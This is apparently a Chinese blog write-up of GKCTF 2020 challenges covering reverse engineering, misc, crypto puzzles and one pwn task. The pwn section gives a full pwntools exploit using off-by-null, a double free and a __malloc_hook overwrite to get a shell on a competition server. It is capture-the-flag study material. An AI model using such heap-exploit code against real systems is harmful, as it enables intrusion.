GKCTF 2020 部分writeup

RE

Check_1n

在程序中找到登錄密碼
在這裏插入圖片描述
flag選項結果base64解碼如下

在這裏插入圖片描述
選第二個,什麼都不做,結束就有flag

在這裏插入圖片描述

Misc

簽到

flag就在屏幕上:flag{Welcome_To_GKCTF_2020}

Pokémon

根據開始能選擇的精靈,判斷出是綠寶石493
下載個通關存檔,走到103號道路,就能看見flag:
在這裏插入圖片描述
flag爲:flag{PokEmon_14_CutE}

Harley Quinn

打開壓縮包,發現一個一串字符:FreeFileCamouflage
在這裏插入圖片描述
用AU打開,在最後發現一段dtmf
在這裏插入圖片描述
對比得到:#222833344477773338866#
該題使用了手機鍵盤加密方式,原理如下:
在這裏插入圖片描述
但是直接解的話,28肯定就不對了,又從每個數字的次數着手:
比如222,記爲23
8,記爲81
得到密碼:ctfisfun
根據最開始的提示,用該軟件1.25版本提取出flag,這裏好像還要把圖片後綴改爲jpg,不然不能識別
在這裏插入圖片描述
在這裏插入圖片描述

code obfuscation

binwalk -e提取出壓縮包:
在這裏插入圖片描述
之後修復二維碼
首先,用ppt把斷開的圖片拼起來,調整一下大小,用微信掃出base(gkctf)
在這裏插入圖片描述
嘗試各種base,最後base58成功
在這裏插入圖片描述
把1中的js代碼扔進console執行,結果如下

在這裏插入圖片描述

剛剛看了官方WP,說這個是js混淆,提供了一個網站解密:JS混淆加密壓縮
結果如下

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
    done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
    done
    num = 0
for n in a b c d e f g h i j do eval Bn = "n"
    num =
    $((num + 1)) done alert("Bk=' ';Bm='"
        ';Bn='#
        ';Bs=' (';Bt=')
        ';By='.
        ';Cb=';
        ';Cc=' < ';Ce=' > ';Cl='
        _ ';Cn=' {
            ';Cp='
        }
        ';Da='
        0 ';Db='
        1 ';Dc='
        2 ';Dd='
        3 ';De='
        4 ';Df='
        5 ';Dg='
        6 ';Dh='
        7 ';Di='
        8 ';Dj='
        9 ';")

得到了圖片中字符的對應關係,映射一下,得到一個C程序

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An="n"done for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An="n"done num=0 for n in a b c d e f g h i j do eval Bn="n"num=$((num+1))done alert("Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")
Bn Ai An Ac Al Au Ad Ae Bk Cc As At Ad Ai Ao By Ah Ce
Ai An At Bk Am Aa Ai Bs Bt Cn
Ap Ar Ai An At Bs Bm Aw Dd Al Ac Da Am Ae Cl De Ao Cl Dj Ak Ac At Df Bm Bt Cb
Ar Ae At Au Ar An Bk Da Cb 
Cp

Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';

#include <stdio.h>
int ai(){
print("w3lc0me_4o_9kct5");
return 0;
}

因此flag爲:flag{w3lc0me_4o_9kct5}

Crypto

小學生的密碼學

根據題目%26猜測範圍是a-z,寫個腳本爆破

import string
import base64

ans = 'welcylk'
table = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for pos in range(len(ans)):
    for i in range(len(table)):
        tmp = (11*i+6)%26
        t_ans = table[tmp]
        if t_ans == ans[pos]:
            flag += table[i]
            break

print(flag)
print(base64.b64encode(flag.encode()))

在這裏插入圖片描述

漢字的祕密

當鋪密碼,每個漢字對應的數字如下
在這裏插入圖片描述
腳本解密,得到字符串:EJ>CvSHMV7G9R9@?3k
猜測開頭爲FLAG,而前四個的差分別爲1,2,3,4
猜測解密結果要加上位置
最終腳本

s = [69, 74, 62, 67, 118, 83, 72, 77, 86, 55, 71, 57, 82, 57, 64, 63, 51, 107]
ans = ''
for i in range(len(s)):
	ans += chr(s[i]+1+i)
	print i, chr(s[i]+1+i)

print ans
print ans.lower()

在這裏插入圖片描述

PWN

Domo

在這裏插入圖片描述
add處有off-by-null
在這裏插入圖片描述
並且add和delete都有check,如果寫了hook就無法執行了
在這裏插入圖片描述
退出循環會開啓沙箱
在這裏插入圖片描述
在這裏插入圖片描述

這題比賽時候還真的沒思路,就知道off-by-null塊重疊之後泄露libc+double free改__malloc_hook,但是之後就不知道怎麼弄了,後面在羣裏看到有師傅說scanf輸入長度過長會觸發malloc,突然就恍然大悟,下面是Exp

from pwn import *

r = remote("node3.buuoj.cn", 27130)
#r = process("./domo/domo")

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./domo/domo")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]


menu = "> "
def add(size1, content1):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("size:\n")
	r.sendline(str(size1))
	r.recvuntil("content:\n")
	r.send(content1)


def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("index:\n")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("addr:\n")
	r.sendline(str(index))
	r.recvuntil("num:\n")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("index:\n")
	r.sendline(str(index))


add(0xf0, 'chunk0')
add(0x60, 'chunk1')
add(0xf0, 'chunk2')
add(0x10, 'chunk3')
delete(1)
delete(0)
add(0x68, 'a'*0x60+p64(0x170))#0
delete(2)
add(0xf0, 'aa')#1
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("malloc_hook:"+hex(malloc_hook))
one_gadget = libc.address + one_gadget_16[3]

add(0x60, 'aa')#2
add(0x60, 'aa')#4
delete(0)
delete(4)
delete(2)
add(0x60, p64(malloc_hook-0x23))#0
add(0x60, p64(malloc_hook-0x23))#2
add(0x60, p64(malloc_hook-0x23))#4
payload = 'a'*0x13 + p64(one_gadget)
add(0x60, payload)

r.recvuntil(menu)
r.sendline('2'*0x1001)
r.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章